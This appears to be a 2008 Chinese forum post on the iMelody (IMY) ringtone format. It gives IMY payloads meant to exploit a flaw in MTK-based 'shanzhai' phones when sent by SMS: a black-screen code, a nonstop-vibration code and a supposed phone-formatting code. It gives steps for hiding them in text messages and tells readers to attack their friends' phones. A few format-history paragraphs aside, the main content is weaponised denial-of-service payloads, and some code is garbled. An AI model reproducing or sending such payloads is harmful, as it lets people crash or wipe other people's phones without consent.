為了大家更好測(cè)試提供原文件，就給震動(dòng)一個(gè)，別的都是音樂(lè):
http://www.namipan.com/d/9c17927 ... b34666511b9701e0000
操作法一.把剛下載的imy 放到手機(jī)里的Audio文件夾,切忌手機(jī)里的Audio文件夾，然后點(diǎn)擊寫(xiě)短信(不是彩信)(可以用自己的手機(jī)編輯鈴聲然后保存看是不是這個(gè)文件家.我自己測(cè)試了是這個(gè)文件夾)。
操作法二.直接找到你發(fā)在手機(jī)里的IMY文件.發(fā)送文件,以短信或者增強(qiáng)短信形式.這樣文件就加進(jìn)去了.手機(jī)短信里會(huì)多出來(lái)一個(gè)音樂(lè)符,你寫(xiě)短信時(shí)要注意.引著朋友往下看就成.把文件放在后邊，其它放中間也成。發(fā)給他們?cè)囋嚢?還想明白點(diǎn)的朋友往下看
一、IMY本來(lái)是音樂(lè)
建立一個(gè)記事本按一下格式，寫(xiě)入代碼：
BEGIN:IMELODY
VERSION:1.2
FORMAT:CLASS1.0
NAME:Bomb （你鈴聲的名字，方便你記憶，不過(guò)在手機(jī)里顯示的名字還是.imy前的文件名）
BEAT:120
STYLE:S0
VOLUME:V15
MELODYledonvibeonbackon*7e4ledoffvibeoffbackoffr1@5) (ledonvibeonbackon*7e4ledoffvibeoffbackoffr2@15) (ledonvibeonbackon*7e4ledoffvibeoff backoffr3@15)(ledonvibeonbackon*7e4ledoffvibeoffbackoffr5@25)vibeon(ledonbackon*7e5ledoffbackoff@0) （音符代碼）
END:IMELODY
最后保存為*.imy用紅外線傳入你的68或其他機(jī)器保存，就可以享受到帶震動(dòng)及閃屏的鈴聲了
大家可以對(duì)這個(gè)一起好好研究研究～
二、IMY被惡搞
另個(gè)網(wǎng)友如是說(shuō)：
黑屏震動(dòng)死機(jī)音符 誰(shuí)有imy源代碼
今天朋友給我發(fā)了兩條短信。內(nèi)容如下：
1.警告：這條短信不要往下翻了。
再翻就會(huì)黑屏一個(gè)小時(shí)。
（無(wú)奈本人好奇心太重，翻了一下，結(jié)果就黑屏了。按按鍵還一閃一閃的。結(jié)果只能扣電池。郁悶。。。）
2.相信又能讓手機(jī)失靈的短信嗎？這條就能讓你夢(mèng)想成真。
不要往下翻了。
再翻你就得扣電池了。
再此警告��！
（可惜這次我又看了，結(jié)果手機(jī)狂振不止。沒(méi)辦法，扣電池吧。更加郁悶。。。 ）
真邪門(mén)了，短信能讓手機(jī)這樣！！
上網(wǎng)查了一下，原因找到了：本人的手機(jī)是山寨機(jī)�。�！
為什么這條短消息會(huì)讓山寨手機(jī)黑屏呢？這和手機(jī)的MTK平臺(tái)有關(guān)。
大部分“山寨機(jī)”的操作系統(tǒng)使用的是MTK平臺(tái)。這個(gè)MTK平臺(tái)，因?yàn)閮r(jià)格低廉，讓不少國(guó)內(nèi)生產(chǎn)MP3音樂(lè)播放器的廠家，一夜之間，都能生產(chǎn)手機(jī)。
這條短信的格式是：(空行)注意(空行)你的手機(jī)將黑屏一小時(shí)(空行)你信不信……(空行到底)。在這些空行里，隱含了一個(gè)音樂(lè)提示符。正是這個(gè)音樂(lè)提示符，讓手機(jī)黑屏的。這個(gè)音樂(lè)提示符，是可以測(cè)試盜版和正版的一個(gè)組件——和電腦上微軟XP操作系統(tǒng)一樣，不是正版的軟件，就會(huì)黑屏。
在MTK解決方案的手機(jī)中對(duì)于聲音文件,都帶有一個(gè)震動(dòng)接口,也就是把震動(dòng)命令放進(jìn)鈴聲,使用該鈴聲的時(shí)候,手機(jī)會(huì)自動(dòng)震動(dòng)了!同震動(dòng)的原理,MTK解決方案中,可能除了震動(dòng)接口,還有黑屏的命令接口(當(dāng)然,很可能僅僅是漏洞),在聲音文件中加入該命令就可以使手機(jī)黑屏了!
三、進(jìn)一步擴(kuò)大戰(zhàn)果
手機(jī)格式化代碼�。。。。。。。。�！
BEGBEGIN:IMELODY
VERSION:1.2
FORMAT:CLASS1.0
COMPOSER:MIK(23)Fomat
BEAT:180
MELODY:backoffbackofffbackoffbackoffbackoffbackoffbackoffbackoffbackoff
("+<melody>+"@9999999999999999999999999)"
手機(jī)黑屏代碼
BEGIN:IMELODY
BEAT:1200
MELODYledoffbackoffvibeoffr5ledoffbackoffvibeoffr5@600)
END:IMELODY
手機(jī)狂震代碼
BEGIN:IMELODY
VERSION:1.2
FORMAT:CLASS1.0
BEAT:100
MELODYledoffledonbackoffbackonvibeon@0)
END:IMELODY
向你們的“山寨朋友”發(fā)起猛攻吧
大家慎用..后果自負(fù)
imy 放到手機(jī)里的Audio文件夾,切忌手機(jī)里的Audio文件夾
然后點(diǎn)擊寫(xiě)短信(不是彩信)(可以用自己的手機(jī)編輯鈴聲然后保存看是不是這個(gè)文件家.我自己測(cè)試了是這個(gè)文件夾)
選項(xiàng):
以上各個(gè)代碼未曾在短信中直接寫(xiě)入源代碼發(fā)送試驗(yàn)，格式化代碼請(qǐng)勿輕易嘗試！如果要在短信中直接寫(xiě)入格式化代碼，請(qǐng)?jiān)趪L試其他代碼后，確保無(wú)危險(xiǎn)后才試驗(yàn)。
插入對(duì)象我的鈴聲選取剛才那個(gè)IMY文件發(fā)送
原理IMY是索愛(ài)最早支持的一種春代碼的單音節(jié)鈴聲,可以用代碼調(diào)用手機(jī)的解碼芯片發(fā)出一些聲音甚至一些核心指令
四、明白一點(diǎn)(基本標(biāo)準(zhǔn))
imy的基本格式：
BEGIN:IMELOPYDEBT://執(zhí)行參數(shù)（數(shù)字）
MELODY://燈光及震動(dòng)控制腳本
END:IMELODY
--2008-11-12
BEGIN:IMELODY
VERSION:1.2
五、我們要再搞清楚一點(diǎn)：
IMY詳解:
（iMelody Ringtone Format）：這是被專門(mén)設(shè)計(jì)用于EMS中的鈴聲，與2000年由愛(ài)立信提出，并與2001年6月得到3GPP認(rèn)可成為標(biāo)準(zhǔn)，i-Melody鈴聲基于文本的方式標(biāo)志音調(diào)，它的標(biāo)準(zhǔn)化工作由IrDA負(fù)責(zé)。支持EMS的愛(ài)立信以及現(xiàn)在的索尼愛(ài)立信手機(jī)型號(hào)多采用i-Melody鈴聲格式。
IMY是一種手機(jī)的鈴聲格式
它是2000 年由愛(ài)立信提出的一種音頻...IMY 是中國(guó)移動(dòng)規(guī)定的通用彩信文件格式之一,但是支持這一文件格式自播放和鈴聲的手機(jī)并不多。
IMY是屬于單音格式（非和弦）直接可以在手機(jī)上編寫(xiě)音符
再談?wù)凪TK為什么會(huì)出現(xiàn)這個(gè)漏洞,早在MTK6210 年代 是沒(méi)有 此漏洞的,這也是有些老款的山寨機(jī),對(duì)此類短信免疫的原因 !
到了 MTK6220年代 還記得當(dāng)時(shí)山寨吹出的新功能 閃信 就是發(fā)一條短信伴隨著屏幕和鍵盤(pán)閃,可以閃出很多 莫爾斯電碼 當(dāng)時(shí)看看挺個(gè)性后來(lái)可能廠商不宣傳,加上大家覺(jué)得此功能雞肋,也不再提它了,而"強(qiáng)大"的MTK卻保留了次功能,以致漏洞的產(chǎn)生!
另外發(fā)幾個(gè)黑屏短信和震動(dòng)短信的代碼以及解密請(qǐng)勿濫用,否則后果自負(fù)))
例:
BEGIN:IMELODY.
VERSION:1.2
FORMAT:CLASS1.0
BEAT:100
MELODYledoffledonbackoffbackonvibeon@0)
END:IMELODY
根據(jù)IMY格式語(yǔ)法,這條短信就是個(gè)閃光震動(dòng)代碼:
(ledoff ledon , backoff backon , vibeon , @0)
[開(kāi)關(guān)LED(閃動(dòng)),開(kāi)關(guān)背景燈(閃動(dòng)),開(kāi)震動(dòng)],重復(fù)無(wú)
滬公網(wǎng)安備31010802001143號(hào)
